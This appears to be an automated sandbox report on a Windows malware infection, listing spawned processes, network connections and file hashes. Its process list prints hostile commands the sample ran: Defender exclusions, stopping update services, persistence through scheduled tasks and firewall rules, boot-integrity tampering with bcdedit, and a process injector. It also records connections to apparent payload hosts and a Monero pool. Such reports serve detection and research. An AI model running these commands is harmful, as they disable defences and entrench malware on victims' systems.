CACLS "..\1ff8bec27e" /P "Admin:R" /E

C:\Users\Admin\AppData\Local\Temp\is-UL5I5.tmp\8758677____.exe

"C:\Users\Admin\AppData\Local\Temp\is-UL5I5.tmp\8758677____.exe" /S /UID=lylal220

C:\Windows\system32\taskeng.exe

taskeng.exe {267585E7-1DCA-46D8-B60C-7A82F4BF0451} S-1-5-21-686452656-3203474025-4140627569-1000:UUVOHKNL\Admin:Interactive:[1]

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

C:\Program Files\Java\SSCPXAYIRT\lightcleaner.exe

"C:\Program Files\Java\SSCPXAYIRT\lightcleaner.exe" /VERYSILENT

C:\Users\Admin\AppData\Local\Temp\45-1c0df-260-b71a3-55045d0ea619e\Lywokaekaxi.exe

"C:\Users\Admin\AppData\Local\Temp\45-1c0df-260-b71a3-55045d0ea619e\Lywokaekaxi.exe"

C:\Users\Admin\AppData\Local\Temp\is-PSOQT.tmp\lightcleaner.tmp

"C:\Users\Admin\AppData\Local\Temp\is-PSOQT.tmp\lightcleaner.tmp" /SL5="$701F2,833775,56832,C:\Program Files\Java\SSCPXAYIRT\lightcleaner.exe" /VERYSILENT

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe

dw20.exe -x -s 396

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1962948262.exe"

C:\Users\Admin\AppData\Local\Temp\1962948262.exe

"C:\Users\Admin\AppData\Local\Temp\1962948262.exe"

C:\Windows\system32\makecab.exe

"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231004220218.log C:\Windows\Logs\CBS\CbsPersist_20231004220218.cab

C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe

"C:\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe"

C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe

"C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe"

C:\Windows\system32\DllHost.exe

C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c taskkill /im "lAv9qgRCKPMYdWZAnZbnr9NN.exe" /f & erase "C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe" & exit

C:\Windows\SysWOW64\taskkill.exe

taskkill /im "lAv9qgRCKPMYdWZAnZbnr9NN.exe" /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Windows\TEMP\xyvvnnvseiqa.xml"

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\syswow64\rundll32.exe

"C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61 C:\Users\Admin\AppData\Local\Temp\1962948262.exe

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll, Main

C:\Windows\system32\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\system32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\system32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -timeout 0

C:\Windows\system32\bcdedit.exe

C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}

C:\Windows\system32\bcdedit.exe

C:\Windows\Sysnative\bcdedit.exe /v

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

C:\Windows\system32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 pastebin.com udp
US 8.8.8.8:53 yip.su udp
DE 148.251.234.93:443 yip.su tcp
US 172.67.34.170:443 pastebin.com tcp
US 8.8.8.8:53 downloads.digitalpulsedata.com udp
US 8.8.8.8:53 flyawayaero.net udp
US 8.8.8.8:53 ji.fhauiehgha.com udp
US 8.8.8.8:53 bolidare.beget.tech udp
US 8.8.8.8:53 jetpackdelivery.net udp
RU 5.42.64.10:80 5.42.64.10 tcp
US 8.8.8.8:53 lycheepanel.info udp
US 85.217.144.143:80 85.217.144.143 tcp
US 8.8.8.8:53 net.geo.opera.com udp
US 8.8.8.8:53 goboh2b.top udp
US 85.217.144.143:80 85.217.144.143 tcp
RU 91.106.207.50:80 bolidare.beget.tech tcp
US 188.114.97.0:443 jetpackdelivery.net tcp
US 104.21.93.225:443 flyawayaero.net tcp
NL 13.227.219.25:443 downloads.digitalpulsedata.com tcp
US 8.8.8.8:53 link.storjshare.io udp
NL 185.26.182.111:80 net.geo.opera.com tcp
US 136.0.77.2:443 link.storjshare.io tcp
US 104.21.32.208:443 lycheepanel.info tcp
NL 185.26.182.111:443 net.geo.opera.com tcp
US 8.8.8.8:53 apps.identrust.com udp
NL 88.221.25.153:80 apps.identrust.com tcp
US 8.8.8.8:53 potatogoose.com udp
US 172.67.180.173:443 potatogoose.com tcp
HK 103.100.211.218:80 ji.fhauiehgha.com tcp
RU 45.8.228.16:80 goboh2b.top tcp
US 8.8.8.8:53 justsafepay.com udp
US 188.114.96.0:443 justsafepay.com tcp
US 8.8.8.8:53 iplogger.org udp
DE 148.251.234.83:443 iplogger.org tcp
US 8.8.8.8:53 z.nnnaajjjgc.com udp
US 136.0.77.2:80 link.storjshare.io tcp
BG 193.42.32.29:80 193.42.32.29 tcp
BG 193.42.32.29:80 193.42.32.29 tcp
MU 156.236.72.121:443 z.nnnaajjjgc.com tcp
US 8.8.8.8:53 demo.seafile.com udp
DE 168.119.152.22:80 demo.seafile.com tcp
DE 168.119.152.22:443 demo.seafile.com tcp
US 8.8.8.8:53 m7val1dat0r.info udp
US 188.114.96.0:443 m7val1dat0r.info tcp
US 8.8.8.8:53 app.nnnaajjjgc.com udp
HK 154.221.26.108:80 app.nnnaajjjgc.com tcp
US 8.8.8.8:53 connectini.net udp
GB 91.109.116.11:443 connectini.net tcp
US 8.8.8.8:53 vibrator.s3.pl-waw.scw.cloud udp
US 8.8.8.8:53 link.storjshare.io udp
US 8.8.8.8:53 wewewe.s3.eu-central-1.amazonaws.com udp
US 8.8.8.8:53 link.storjshare.io udp
US 136.0.77.2:443 link.storjshare.io tcp
DE 3.5.137.114:443 wewewe.s3.eu-central-1.amazonaws.com tcp
US 136.0.77.2:443 link.storjshare.io tcp
PL 151.115.10.1:443 vibrator.s3.pl-waw.scw.cloud tcp
US 8.8.8.8:53 360devtracking.com udp
GB 91.109.116.11:80 360devtracking.com tcp
US 188.114.96.0:443 m7val1dat0r.info tcp
RU 5.42.64.10:80 5.42.64.10 tcp
RU 5.42.64.10:80 5.42.64.10 tcp
US 8.8.8.8:53 script.google.com udp
DE 172.217.23.206:80 script.google.com tcp
US 8.8.8.8:53 t.me udp
DE 172.217.23.206:443 script.google.com tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 steamcommunity.com udp
JP 23.207.106.113:443 steamcommunity.com tcp
DE 116.203.7.13:80 116.203.7.13 tcp
US 8.8.8.8:53 script.googleusercontent.com udp
NL 142.251.36.1:443 script.googleusercontent.com tcp
US 8.8.8.8:53 xmr.2miners.com udp
DE 162.19.139.184:12222 xmr.2miners.com tcp
US 173.214.169.17:443 tcp
US 8.8.8.8:53 34b2b5e6-28e9-43c7-a823-be53d75690ff.uuid.safarimexican.net udp
US 8.8.8.8:53 msdl.microsoft.com udp
US 204.79.197.219:443 msdl.microsoft.com tcp
US 8.8.8.8:53 www.microsoft.com udp
US 8.8.8.8:53 vsblobprodscussu5shard30.blob.core.windows.net udp
US 20.150.70.36:443 vsblobprodscussu5shard30.blob.core.windows.net tcp
US 8.8.8.8:53 vsblobprodscussu5shard58.blob.core.windows.net udp
US 20.150.38.228:443 vsblobprodscussu5shard58.blob.core.windows.net tcp
US 8.8.8.8:53 stun2.l.google.com udp
US 8.8.8.8:53 server3.safarimexican.net udp
US 8.8.8.8:53 cdn.discordapp.com udp
IN 172.253.121.127:19302 stun2.l.google.com udp
BG 185.82.216.65:443 server3.safarimexican.net tcp
US 162.159.135.233:443 cdn.discordapp.com tcp
US 8.8.8.8:53 mastertryprice.com udp
US 104.21.37.186:443 mastertryprice.com tcp

Files

memory/2152-0-0x00000000012B0000-0x000000000130E000-memory.dmp

memory/2152-1-0x0000000073CE0000-0x00000000743CE000-memory.dmp

memory/2152-2-0x0000000001200000-0x0000000001240000-memory.dmp

memory/2152-3-0x0000000000440000-0x0000000000484000-memory.dmp

memory/2152-4-0x0000000000310000-0x000000000032A000-memory.dmp

memory/2020-5-0x0000000000400000-0x0000000000408000-memory.dmp

memory/2020-7-0x0000000000400000-0x0000000000408000-memory.dmp

memory/2020-9-0x0000000000400000-0x0000000000408000-memory.dmp

memory/2020-10-0x0000000073CE0000-0x00000000743CE000-memory.dmp

memory/2020-11-0x0000000004D30000-0x0000000004D70000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab5CF1.tmp

MD5 f3441b8572aae8801c04f3060b550443
SHA1 4ef0a35436125d6821831ef36c28ffaf196cda15
SHA256 6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA512 5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

C:\Users\Admin\AppData\Local\Temp\Tar5D23.tmp

MD5 9441737383d21192400eca82fda910ec
SHA1 725e0d606a4fc9ba44aa8ffde65bed15e65367e4
SHA256 bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
SHA512 7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 78530b31ffe4b2f2561be95853a205d3
SHA1 214a448353ce33eeaed36c920d7e90a8a5751c4c
SHA256 2f9fa57f127fa232189e824334c5e777e02b918d7068bd06add6e0154ea9f197
SHA512 001404fd61a6218db69d3674b3f8a67957066ee834ed593e65ef13b9cfd03df3e78b2bd504ba2f39a14a5816ee42ac9b70c2dfad314caadf19b08d0d6a54874f

\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe

MD5 aebaf57299cd368f842cfa98f3b1658c
SHA1 cb4642f3425e8827e54a95c99a4b7aa1ae91d9b7
SHA256 d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce
SHA512 989ffc32678ae1505c3fb5befa9c281bfc87e33330bb5a23010a57766c4ce6dadbde86bd2a097ed8ac23195645abc50577dfe69191bb4bccdc77861488f6572e

C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe

MD5 aebaf57299cd368f842cfa98f3b1658c
SHA1 cb4642f3425e8827e54a95c99a4b7aa1ae91d9b7
SHA256 d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce
SHA512 989ffc32678ae1505c3fb5befa9c281bfc87e33330bb5a23010a57766c4ce6dadbde86bd2a097ed8ac23195645abc50577dfe69191bb4bccdc77861488f6572e

C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe

MD5 aebaf57299cd368f842cfa98f3b1658c
SHA1 cb4642f3425e8827e54a95c99a4b7aa1ae91d9b7
SHA256 d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce
SHA512 989ffc32678ae1505c3fb5befa9c281bfc87e33330bb5a23010a57766c4ce6dadbde86bd2a097ed8ac23195645abc50577dfe69191bb4bccdc77861488f6572e

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 78530b31ffe4b2f2561be95853a205d3
SHA1 214a448353ce33eeaed36c920d7e90a8a5751c4c
SHA256 2f9fa57f127fa232189e824334c5e777e02b918d7068bd06add6e0154ea9f197
SHA512 001404fd61a6218db69d3674b3f8a67957066ee834ed593e65ef13b9cfd03df3e78b2bd504ba2f39a14a5816ee42ac9b70c2dfad314caadf19b08d0d6a54874f

C:\Users\Admin\Pictures\RUnICCwx0DwwgLKFUC51xHie.exe

MD5 aebaf57299cd368f842cfa98f3b1658c
SHA1 cb4642f3425e8827e54a95c99a4b7aa1ae91d9b7
SHA256 d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce
SHA512 989ffc32678ae1505c3fb5befa9c281bfc87e33330bb5a23010a57766c4ce6dadbde86bd2a097ed8ac23195645abc50577dfe69191bb4bccdc77861488f6572e

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 4d61f2fdc85abde1b7fb164d5180a650
SHA1 54fa52ee6c2ea07eb94774dc88435ba1db97509c
SHA256 b5e6eb725de6569d44a6658113d3c20b4e35530554bbd710f0415e69ebaac017
SHA512 6e899e9ed6e71f4c024147b152b93cbd2639865b2064c36562c464f86d0926af7136d82c254f7d533d564cc0cbd3baf8e4e172f61040ad035a41f241bc50e882

\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe

MD5 2565bdf6fc65a0c1568391c5b354e4a2
SHA1 b5a58b0013c0df31f23e9b3b93c8aa15f8ea7502
SHA256 5e89d8a9b19c40d194ca85db9d1df408b6771e0343a708de58d4e418f31ab697
SHA512 9499f0fbbabcb27ade5a84c4a30acd0143f887c58e6a4b910bae76e8fdc931da3fe821891262a4f4b00486211623047eb0e2a926486f390792f0be5625538449

C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe

MD5 2565bdf6fc65a0c1568391c5b354e4a2
SHA1 b5a58b0013c0df31f23e9b3b93c8aa15f8ea7502
SHA256 5e89d8a9b19c40d194ca85db9d1df408b6771e0343a708de58d4e418f31ab697
SHA512 9499f0fbbabcb27ade5a84c4a30acd0143f887c58e6a4b910bae76e8fdc931da3fe821891262a4f4b00486211623047eb0e2a926486f390792f0be5625538449

C:\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe

MD5 2565bdf6fc65a0c1568391c5b354e4a2
SHA1 b5a58b0013c0df31f23e9b3b93c8aa15f8ea7502
SHA256 5e89d8a9b19c40d194ca85db9d1df408b6771e0343a708de58d4e418f31ab697
SHA512 9499f0fbbabcb27ade5a84c4a30acd0143f887c58e6a4b910bae76e8fdc931da3fe821891262a4f4b00486211623047eb0e2a926486f390792f0be5625538449

\Users\Admin\Pictures\lAv9qgRCKPMYdWZAnZbnr9NN.exe

MD5 2565bdf6fc65a0c1568391c5b354e4a2
SHA1 b5a58b0013c0df31f23e9b3b93c8aa15f8ea7502
SHA256 5e89d8a9b19c40d194ca85db9d1df408b6771e0343a708de58d4e418f31ab697
SHA512 9499f0fbbabcb27ade5a84c4a30acd0143f887c58e6a4b910bae76e8fdc931da3fe821891262a4f4b00486211623047eb0e2a926486f390792f0be5625538449

\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe

MD5 6172d07e0711bc23642c3b6b86e4fec7
SHA1 c49a6bb96d15baa7d58ff9808c3311454959157b
SHA256 5bd34cee3edff3bedc453b25875218a4903a26c464159630514fb464c41ec4d6
SHA512 4374911d24f78fa501c7a015eb95c57f52192e47c5b9b9eeb6b972eb3e11c59e471d69aa97af619409fd5aa6e809c6c5310aa967b6aab69eeb40dc90131f076b

C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe

MD5 6172d07e0711bc23642c3b6b86e4fec7
SHA1 c49a6bb96d15baa7d58ff9808c3311454959157b
SHA256 5bd34cee3edff3bedc453b25875218a4903a26c464159630514fb464c41ec4d6
SHA512 4374911d24f78fa501c7a015eb95c57f52192e47c5b9b9eeb6b972eb3e11c59e471d69aa97af619409fd5aa6e809c6c5310aa967b6aab69eeb40dc90131f076b

C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe

MD5 6172d07e0711bc23642c3b6b86e4fec7
SHA1 c49a6bb96d15baa7d58ff9808c3311454959157b
SHA256 5bd34cee3edff3bedc453b25875218a4903a26c464159630514fb464c41ec4d6
SHA512 4374911d24f78fa501c7a015eb95c57f52192e47c5b9b9eeb6b972eb3e11c59e471d69aa97af619409fd5aa6e809c6c5310aa967b6aab69eeb40dc90131f076b

memory/2036-191-0x0000000000400000-0x000000000046A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

MD5 aebaf57299cd368f842cfa98f3b1658c
SHA1 cb4642f3425e8827e54a95c99a4b7aa1ae91d9b7
SHA256 d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce
SHA512 989ffc32678ae1505c3fb5befa9c281bfc87e33330bb5a23010a57766c4ce6dadbde86bd2a097ed8ac23195645abc50577dfe69191bb4bccdc77861488f6572e

\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe

MD5 aebaf57299cd368f842cfa98f3b1658c
SHA1 cb4642f3425e8827e54a95c99a4b7aa1ae91d9b7
SHA256 d9131553ec5337523055e425db82038f4250fa60ea581bcc6921716477c652ce
SHA512 989ffc32678ae1505c3fb5befa9c281bfc87e33330bb5a23010a57766c4ce6dadbde86bd2a097ed8ac23195645abc50577dfe69191bb4bccdc77861488f6572e

\Users\Admin\Pictures\Lu6d9AMO9K5k8xgaMDfHBO6r.exe

MD5 006ad74c21256de16ed0f79f760dc2da
SHA1 03372373476c4ffad5a4016950e5834451872c3f
SHA256 c4410af6b21ec0894ede95baaf3314f8260ab62051abe107b83b5c3d091e97f4
SHA512 c7184ab98553159d9b05ef3a3ec5a3036159683a7aed963193a77b17df900ba8fd7dedf85fa67525acc6bd3bdfc403f8622a8c3c6edcac38abb5c79f432e43df

memory/396-215-0x0000000002790000-0x0000000002B88000-memory.dmp

C:\Users\Admin\AppData\Local\hDpMUyYj8mPV3M3CBUvVyTEf.exe

MD5 006ad74c21256de16ed0f79f760dc2da
SHA1 03372373476c4ffad5a4016950e5834451872c3f
SHA256 c4410af6b21ec0894ede95baaf3314f8260ab62051abe107b83b5c3d091e97f4
SHA512 c7184ab98553159d9b05ef3a3ec5a3036159683a7aed963193a77b17df900ba8fd7dedf85fa67525acc6bd3bdfc403f8622a8c3c6edcac38abb5c79f432e43df

\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe

MD5 ea6ab6fe8ecdb80d9bfff2e4955850a0
SHA1 7d290d99217454b9b4c5133349ce165c56bc763e
SHA256 0e3d94e1f3a765bf1c7fbb407619cc07b3b24741b0f7f87283aff58483b82072
SHA512 3a531e97ebda276f9284bdb352fdbbb04bddb7915bccd815437d959f4a8405f9770c6f46dcd0070a1991e88b654665bc87c748c173765b30d3b7329af86999bf

memory/340-240-0x0000000000120000-0x000000000043C000-memory.dmp

memory/3016-241-0x0000000002750000-0x0000000002B48000-memory.dmp

C:\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe

MD5 ea6ab6fe8ecdb80d9bfff2e4955850a0
SHA1 7d290d99217454b9b4c5133349ce165c56bc763e
SHA256 0e3d94e1f3a765bf1c7fbb407619cc07b3b24741b0f7f87283aff58483b82072
SHA512 3a531e97ebda276f9284bdb352fdbbb04bddb7915bccd815437d959f4a8405f9770c6f46dcd0070a1991e88b654665bc87c748c173765b30d3b7329af86999bf

memory/340-231-0x0000000073CE0000-0x00000000743CE000-memory.dmp

\Users\Admin\Pictures\swv0HNuumreQKoNWaNmKwoxE.exe

MD5 ea6ab6fe8ecdb80d9bfff2e4955850a0
SHA1 7d290d99217454b9b4c5133349ce165c56bc763e
SHA256 0e3d94e1f3a765bf1c7fbb407619cc07b3b24741b0f7f87283aff58483b82072
SHA512 3a531e97ebda276f9284bdb352fdbbb04bddb7915bccd815437d959f4a8405f9770c6f46dcd0070a1991e88b654665bc87c748c173765b30d3b7329af86999bf

C:\Users\Admin\Pictures\6LwssugS7iCHIRL9VEw7xuVB.exe

MD5 6172d07e0711bc23642c3b6b86e4fec7
SHA1 c49a6bb96d15baa7d58ff9808c3311454959157b
SHA256 5bd34cee3edff3bedc453b25875218a4903a26c464159630514fb464c41ec4d6
SHA512 4374911d24f78fa501c7a015eb95c57f52192e47c5b9b9eeb6b972eb3e11c59e471d69aa97af619409fd5aa6e809c6c5310aa967b6aab69eeb40dc90131f076b

C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe

MD5 823b5fcdef282c5318b670008b9e6922
SHA1 d20cd5321d8a3d423af4c6dabc0ac905796bdc6d
SHA256 712f5bb403ca4ade2d3fa47b050aac51a9f573142fd8ba8bf18f5f8144214d8d
SHA512 4377d06a71291be3e52c28a2ada0b89ff185a8887c4a75972cdc5e85d95da6538d1776bc49fb190c67b8e6497225f1d63b86793f4095c8fb990a5f6659216472

C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe

MD5 823b5fcdef282c5318b670008b9e6922
SHA1 d20cd5321d8a3d423af4c6dabc0ac905796bdc6d
SHA256 712f5bb403ca4ade2d3fa47b050aac51a9f573142fd8ba8bf18f5f8144214d8d
SHA512 4377d06a71291be3e52c28a2ada0b89ff185a8887c4a75972cdc5e85d95da6538d1776bc49fb190c67b8e6497225f1d63b86793f4095c8fb990a5f6659216472

C:\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe

MD5 823b5fcdef282c5318b670008b9e6922
SHA1 d20cd5321d8a3d423af4c6dabc0ac905796bdc6d
SHA256 712f5bb403ca4ade2d3fa47b050aac51a9f573142fd8ba8bf18f5f8144214d8d
SHA512 4377d06a71291be3e52c28a2ada0b89ff185a8887c4a75972cdc5e85d95da6538d1776bc49fb190c67b8e6497225f1d63b86793f4095c8fb990a5f6659216472

\Users\Admin\Pictures\1pjEjBT8bzYaOfFpibeXzy9r.exe

MD5 7af78ecfa55e8aeb8b699076266f7bcf
SHA1 432c9deb88d92ae86c55de81af26527d7d1af673
SHA256 f7284ade2ca0aeb432cf1fdae5ab0c724f81d10b914f6d4c2c15ef0f60ff316e
SHA512 3c0ae6b6e4a896da52faff4fb2e958abb2856330cbba6ff4b7a59e7512475e1739cccf2cfda7dde492f381d3225263bc77e3154983e86933fa074696e92a059e

\Users\Admin\Pictures\Dscr29ONDCfKI97amDAg0D8g.exe

MD5 823b5fcdef282c5318b670008b9e6922
SHA1 d20cd5321d8a3d423af4c6dabc0ac905796bdc6d
SHA256 712f5bb403ca4ade2d3fa47b050aac51a9f573142fd8ba8bf18f5f8144214d8d
SHA512 4377d06a71291be3e52c28a2ada0b89ff185a8887c4a75972cdc5e85d95da6538d1776bc49fb190c67b8e6497225f1d63b86793f4095c8fb990a5f6659216472

